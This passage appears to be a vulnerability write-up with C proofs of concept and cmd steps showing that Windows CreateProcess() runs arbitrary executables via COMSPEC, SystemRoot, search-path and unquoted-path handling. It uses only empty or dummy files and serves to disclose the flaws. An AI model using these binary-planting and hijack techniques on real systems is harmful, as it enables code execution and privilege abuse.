SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: the Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
is expected here – the file blunder.bat
does not
exist yet.
Create the text file blunder.bat
with the following
content next to the console application blunder.exe
built in step 2.:
@REM Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@ECHO %CMDCMDLINE%
@ECHO %~f0
@EXIT
Execute the console application blunder.exe
built in
step 2. a second time and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
Note: since the current directory is also the
application directory here this doesn’t tell whether the batch
script blunder.bat
is executed from the first or the
second position of the documented search sequence.
Move the console application blunder.exe
built in
step 2. into another directory, for example the parent
directory, then execute it there and evaluate its exit code:
MOVE blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
Note: the batch script blunder.bat
is
executed from the current directory.
Move the batch script blunder.bat
created in
step 4. into the same directory as the console application
blunder.exe
built in step 2., then execute the
latter there again and evaluate its exit code to prove the
documentation cited above wrong:
MOVE blunder.bat .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
'blunder.bat' is not recognized as an internal or external command,
operable program or batch file.
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
OUCH¹: contrary to its documentation cited
above, the
CreateProcess()
function fails to execute the batch script blunder.bat
from the application directory – the cause for this
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Move the batch script blunder.bat
back into the
current directory, then execute the console application
blunder.exe
built in step 8. and evaluate its
exit code to prove the documentation cited above incomplete:
MOVE ..\blunder.bat . .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH²: the
CreateProcess()
function exhibits undocumented and
dangerous behaviour – in order to execute a
batch script it evaluates the environment variable
COMSPEC
to locate the
Command Processor, indicated here with
the Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
!
Create the empty file blunder.com
in the current
directory, then execute the console application
blunder.exe
built in step 8. a second time and
evaluate its exit code:
COPY NUL: blunder.com .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH³: in order to execute a batch script the
CreateProcess()
function executes an arbitrary executable whose
unqualified file name is set in the environment
variable COMSPEC
from the application directory or the
current directory, indicated here with the Win32 error
code 193 alias
ERROR_BAD_EXE_FORMAT
due to the empty file blunder.com
!
Move the console application blunder.exe
built in
step 8. into another directory, for example the parent
directory, then execute it there and evaluate its exit code:
MOVE /Y blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁴: in order to execute a batch script the
CreateProcess()
function executes an arbitrary executable whose
unqualified file name is set in the environment
variable COMSPEC
from the current directory!
Move the empty file blunder.com
created in
step 10. into the same directory as the console application
blunder.exe
created in step 8., then execute the
latter a third time and evaluate its exit code:
MOVE blunder.com .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁵: in order to execute a batch script the
CreateProcess()
function executes an arbitrary executable whose
unqualified file name is set in the environment
variable COMSPEC
from the application directory too!
Optionally move the empty file blunder.com
from the
parent directory into an arbitrary directory listed
in the environment variable PATH
, for example the
user-writable directory
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps\
present since Windows 8, then execute the console
application blunder.exe
created in step 8. a
last time and evaluate its exit code:
MOVE ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps" ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁶: in order to execute a batch script the
CreateProcess()
function executes an arbitrary executable whose
unqualified file name is set in the environment
variable COMSPEC
from any directory in
the search path!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
BLUNDER
defined as 0:
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 14. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
C:\Windows\system32\cmd.exe /c blunder.bat
C:\Users\Stefan\Desktop\blunder.bat
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
Note: with the environment variable
COMSPEC
unset, the Win32 function
CreateProcess()
executes Cmd.exe
from the
system directoryas the Command Processor for batch scripts!
Set the environment variable SystemRoot
to the path of
the current directory, create the subdirectory
%SystemRoot%\System32\
and the empty file
%SystemRoot%\System32\Cmd.exe
, then execute the console
application blunder.exe
built in step 14. again
and evaluate its exit code:
SET SystemRoot=%CD% MKDIR "%SystemRoot%\System32" COPY NUL: "%SystemRoot%\System32\Cmd.exe" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁷: with the environment variable
COMSPEC
unset, the Win32 function
CreateProcess()
executes an arbitrary application
%SystemRoot%\System32\Cmd.exe
as the
Command Processor for batch scripts!
Note: properly implemented, it would call the
GetSystemDirectory()
function to get the path name of the system directory
instead
to (ab)use the user-controlled environment variable
SystemRoot
!
Delete the empty file %SystemRoot%\System32\Cmd.exe
and
remove the subdirectory %SystemRoot%\System32\
created
in step 16., then unset the environment variable
SystemRoot
, execute the console application
blunder.exe
built in step 14. once more and
evaluate its exit code:
ERASE "%SystemRoot%\System32\Cmd.exe" RMDIR "%SystemRoot%\System32" SET SystemRoot= .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁸: with the environment variables
COMSPEC
and SystemRoot
unset, the
Win32 function
CreateProcess()
fails to execute batch scripts with Win32 error code
267 alias
ERROR_DIRECTORY
!
Finally delete all files which were moved outside the current directory:
ERASE ..\blunder.exe ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps\blunder.com"
Note: an exploration of the blunder with a batch
script file Windows NT.bat
,
Windows&NT.bat
, Windows,NT.bat
,
Windows;NT.bat
, Windows=NT.bat
,
Windows^NT.bat
, Windows&&NT.bat
or
%OS%.bat
is left as an exercise to the reader.
Note: an exploration of the blunder with the
environment variable COMSPEC
set to
blunder.bat
, blunder.exe
or just
blunder
is left as an exercise to the reader.
Note: a repetition of this falsification for the
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
functions is also left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is also left as an exercise to the reader.
NeedCurrentDirectoryForExePath()
specifies in its Remarkssection:
IfNOTE: the use of a (user-controlled) environment variable to remove the current directory from (its prominent second position in) the search path for applications is not safe – properly implemented, theCreateProcess()
is called with a relative executable name, it will automatically search for the executable, calling this function to determine the search path.[…]
The value of the NoDefaultCurrentDirectoryInExePath environment variable determines the value this function returns. […] the existence of the NoDefaultCurrentDirectoryInExePath environment variable is checked, and not its value.
An example of an instance when this function should be called instead of relying on the default search path resolution algorithm in
CreateProcess()
is the "cmd.exe" executable. It calls this function to determine the command search path because it does its own path resolution before calling CreateProcess. If this function returns TRUE, cmd.exe uses the path ".;%PATH%" for the executable search. If it returns FALSE, cmd.exe uses the path "%PATH%" for the search.
NeedCurrentDirectoryForExePath()
function would query a registry entry writable only by privileged
users, similar to CWDIllegalInDllSearch
documented in
the MSKB
article
2264107!
Note: properly implemented in the first place, the
Process Creation Flags
of the four CreateProcess*()
functions would support
some CREATE_PROCESS_SEARCH_*
flags, similar to the
LOAD_LIBRARY_SEARCH_*
flags of the
LoadLibraryEx()
function.
Note: properly implemented in the second place,
functions similar to
AddDllDirectory()
,
RemoveDllDirectory()
and
SetDefaultDllDirectories()
or
SetDllDirectory()
would have been added.
2533623
OUCH⁰: the documentation for all four
CreateProcess*()
functions fails to specify that the
environment variable NoDefaultCurrentDirectoryInExePath
alters their search sequence!
OUCH¹: the first highlighted statement of
the documentation cited above contradicts the documentation for the
CreateProcess*()
functions cited earlier – the
latter search the executable file only if its name contains no
(directory) path at all, i.e. neither an absolute nor a relative
path!
OUCH²: the last highlighted statements of the documentation cited above even contradict each other – the second statement specifies the true behaviour!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwError = ERROR_SUCCESS;
WCHAR szBlunder[] = L"blunder.com";
if (!SetEnvironmentVariable(L"NoDefaultCurrentDirectoryInExePath",
#ifdef BLUNDER
L""))
#else
(LPCWSTR) NULL))
#endif
dwError = GetLastError();
else
if (!CreateProcess((LPCWSTR) NULL,
szBlunder,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
dwError = GetLastError();
else
{
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!CloseHandle(pi.hThread))
dwError = GetLastError();
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!CloseHandle(pi.hProcess))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: the Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
is expected here – the file blunder.com
does not
exist yet.
Create the empty file blunder.com
in the current
directory, then execute the console application
blunder.exe
built in step 2. a second time and
evaluate its exit code:
COPY NUL: blunder.com .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Note: the Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
is expected here – the empty file blunder.com
can’t be mapped into memory, i.e. the
CreateProcess()
function handles batch scripts like (portable executable) image files.
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 5. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.Note: the Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
is expected here – the empty file blunder.com
is
now found in the application directory!
Move the console application blunder.exe
built in
step 5. into another directory, for example the parent
directory, then execute it there and evaluate its exit code:
MOVE blunder.exe .. ..\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.Note: with the environment variable
NoDefaultCurrentDirectoryInExePath
set, the
CreateProcess()
function fails to execute the file blunder.com
–
it doesn’t search the current directory any more!
Finally delete the file blunder.exe
which was moved
outside the current directory:
ERASE ..\blunder.exe
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
states:
Creates a new process and its primary thread. […]Caveat: this enumeration may erroneously be interpreted that the[…]BOOL CreateProcess( [in, optional] LPCTSTR lpApplicationName, [in, out, optional] LPTSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCTSTR lpCurrentDirectory, [in] LPSTARTUPINFO lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );
[in, optional] lpApplicationName
The name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer.
The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. The function will not use the search path. This parameter must include the file name extension; no default extension is assumed.
The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space-delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string "c:\program files\sub dir\program name". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:
- c:\program.exe
- c:\program files\sub.exe
- c:\program files\sub dir\program.exe
- c:\program files\sub dir\program name.exe
CreateProcess*()
functions always
append the extension .exe
!
The MSKB article 812486 states:
This issue may occur if the path of the executable file for the service contains spaces.When Windows starts a service, it parses the path of the service from left to right. If both of the following conditions are true, Windows may locate and try to run the file or folder before it locates and runs the executable file for the service:
For example, if the path of the executable file for a service is C:\Program Files\MyProgram\MyService.exe, and if a folder that is named C:\Program also exists on your hard disk, Windows locates the C:\Program folder on your hard disk before the C:\Program Files\MyProgram\My Service.exe file, and then tries to run it.
- The path of a service’s executable file contains spaces.
- There is a file or folder on your computer’s hard disk that has the has the same name as a file or folder in the path to the service's executable file.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwError = ERROR_SUCCESS;
DWORD dwThread;
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
WCHAR szDevice[MAX_PATH];
DWORD dwDevice;
DWORD dwDrives;
DWORD dwDrive;
WCHAR szDrive[] = L"@:";
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#if 0
if (ExpandEnvironmentStrings(L"%CommonProgramFiles%\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Common Files\\Microsoft Shared\\MSInfo\\MSInfo32.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Internet Explorer\\IExplore.exe",
#elif 0
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows Mail\\WAB.exe",
#else
if (ExpandEnvironmentStrings(L"%ProgramFiles%\\Windows NT\\Accessories\\WordPad.exe",
#endif
szProcess,
sizeof(szProcess) / sizeof(*szProcess)) == 0UL)
PrintConsole(hError,
L"ExpandEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
if (!CreateProcess((LPCWSTR) NULL,
szProcess,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hError,
L"CreateProcess() returned error %lu\n",
dwError = GetLastError());
else
{
#if 0 // BUG: GetModuleFileNameEx() fails with ERROR_INVALID_HANDLE
dwProcess = GetModuleFileNameEx(pi.hProcess,
(HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess == 0UL)
PrintConsole(hError,
L"GetModuleFileNameEx() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess);
#else
dwProcess = GetProcessImageFileName(pi.hProcess,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess == 0UL)
PrintConsole(hError,
L"GetProcessImageFileName() returned error %lu\n",
dwError = GetLastError());
else
{
dwDrives = GetLogicalDrives();
if (dwDrives == 0UL)
PrintConsole(hError,
L"GetLogicalDrives() returned error %lu\n",
dwError = GetLastError());
else
while (_BitScanForward(&dwDrive, dwDrives))
{
dwDrives &= dwDrives - 1UL;
szDrive[0] = L'A' + (WORD) dwDrive;
if (QueryDosDevice(szDrive,
szDevice,
sizeof(szDevice) / sizeof(*szDevice)) == 0UL)
PrintConsole(hError,
L"QueryDosDevice() returned error %lu\n",
dwError = GetLastError());
else
{
dwDevice = wcslen(szDevice);
#ifndef _WIN64
if ((dwProcess > dwDevice)
&& (szProcess[dwDevice] == L'\\')
&& (memcmp(szProcess, szDevice, dwDevice * sizeof(*szDevice)) == 0))
{
szProcess[--dwDevice] = L':';
szProcess[--dwDevice] = L'A' + (WORD) dwDrive;
PrintConsole(hError,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess + dwDevice);
}
#else // _WIN64
if ((dwProcess > dwDevice)
&& (szProcess[dwDevice] == L'\\'))
{
szProcess[dwDevice] = L'\0';
if (wcscmp(szProcess, szDevice) != 0)
szProcess[dwDevice] = L'\\';
else
{
szProcess[dwDevice--] = L'\\';
szProcess[dwDevice--] = L':';
szProcess[dwDevice] = L'A' + (WORD) dwDrive;
PrintConsole(hError,
L"Child process %lu loaded from image file \'%ls\'\n",
pi.dwProcessId, szProcess + dwDevice);
}
}
#endif // _WIN64
}
}
}
#endif
PrintConsole(hError,
L"Child process %lu with primary thread %lu created\n",
pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(pi.hThread, &dwThread))
PrintConsole(hError,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
if (dwThread > 65535UL)
PrintConsole(hError,
L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
else
PrintConsole(hError,
L"Primary thread %lu of child process %lu exited with code %lu\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
if (!CloseHandle(pi.hThread))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hError,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
PrintConsole(hError,
L"GetExitCodeProcess() returned error %lu\n",
dwError = GetLastError());
else
if (dwProcess > 65535UL)
PrintConsole(hError,
L"Child process %lu exited with code 0x%08lX\n",
pi.dwProcessId, dwProcess);
else
PrintConsole(hError,
L"Child process %lu exited with code %lu\n",
pi.dwProcessId, dwProcess);
if (!CloseHandle(pi.hProcess))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib psapi.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code to demonstrate its proper
function:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: close the window opened by WordPad to let the console application
blunder.exe
continue and terminate.
Child process 8036 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8036 with primary thread 7568 created Primary thread 7568 of child process 8036 exited with code 0 Child process 8036 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Create the text file blunder.txt
with the following
content in an arbitrary, preferable empty directory:
4d 5a 40 00 01 00 00 00 04 00 00 00 ff ff 00 00 MZ@.............
00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00 00 00 00 19 57 04 27 00 00 00 00 00 00 00 00 .....W.'........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Create the (invalid)
DOS executable
image file Program
in the root directory of the
system drive
:
CertUtil.exe /DecodeHex blunder.txt "%SystemDrive%\Program"
Input Length = 268 Output Length = 64 CertUtil: -error command completed successfully.
Create an empty file Program
in the root directory of
the system drive
and execute the console application
blunder.exe
a second time:
COPY NUL: "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows Vista and later versions of Windows NT, creation of the empty file requires administrative access rights.
Note: with delayed expansion
enabled for
the Command Processor, the path name
%SystemDrive%\Program
can be constructed as
!ProgramFiles: %ProgramFiles:* =%=!
.
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH¹: the documentation for the
CreateProcess*()
functions cited above fails to
enumerate the possible execution of C:\Program
, i.e. a
file without extension!
Move the empty file C:\Program
created in step 4.
as file Windows
into the directory
%SystemDrive%\Program Files\
alias
%ProgramFiles%\
and execute the console application
blunder.exe
a third time:
MOVE "%SystemDrive%\Program" "%Program Files%\Windows" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file requires administrative access rights.
CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH²: the documentation for the
CreateProcess*()
functions cited above fails to
enumerate the possible execution of
C:\program files\sub
as well as
C:\program files\sub dir\program
too!
Rename the empty file %ProgramFiles%\Windows
as
%ProgramFiles%\Windows.exe
, i.e. append the (default)
extension, then create the empty directory
%ProgramFiles%\Windows
and execute the console
application blunder.exe
a fourth time:
RENAME "%Program Files%\Windows" Windows.exe MKDIR "%Program Files%\Windows" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, renaming the empty file and creation of the empty directory requires administrative access rights.
Child process 8860 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 8860 with primary thread 11828 created Primary thread 11828 of child process 8860 exited with code 0 Child process 8860 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when both a directory
C:\program files\sub
without extension and a file
C:\program files\sub.exe
with (default) extension
exist – the latter is not executed then!
Move both the empty file %ProgramFiles%\Windows.exe
as
Program.exe
and the empty directory
%ProgramFiles%\Windows
as Program
into the
root directory of the system drive
, then execute the console
application blunder.exe
a fifth time:
MOVE "%Program Files%\Windows.exe" "%SystemDrive%\Program.exe" MOVE "%Program Files%\Windows" "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 2000 and later versions of Windows NT, moving the empty file and the empty directory requires administrative access rights.
Child process 5288 loaded from image file 'C:\Program Files\Windows NT\Accessories\wordpad.exe' Child process 5288 with primary thread 14340 created Primary thread 14340 of child process 5288 exited with code 0 Child process 5288 exited with code 0 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁴: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when both a directory
C:\program
without extension and an executable image
file C:\program.exe
with (default) extension exist
– the latter is not executed then!
Remove the empty directory %SystemDrive%\Program
and
copy an arbitrary executable image file as
%SystemDrive%\Program
, then execute the console
application blunder.exe
a last time:
RMDIR "%SystemDrive%\Program" COPY "%ComSpec%" "%SystemDrive%\Program" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: on Windows 10 and later versions of Windows NT, removing the empty directory requires administrative access rights.
Note: on Windows Vista and later versions of Windows NT, copying the executable image file requires administrative access rights.
1 file(s) copied. CreateProcess() returned error 193 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OUCH⁵: the documentation for the
CreateProcess*()
functions cited above fails to
specify their behaviour when two executable image files
‹filename›
and
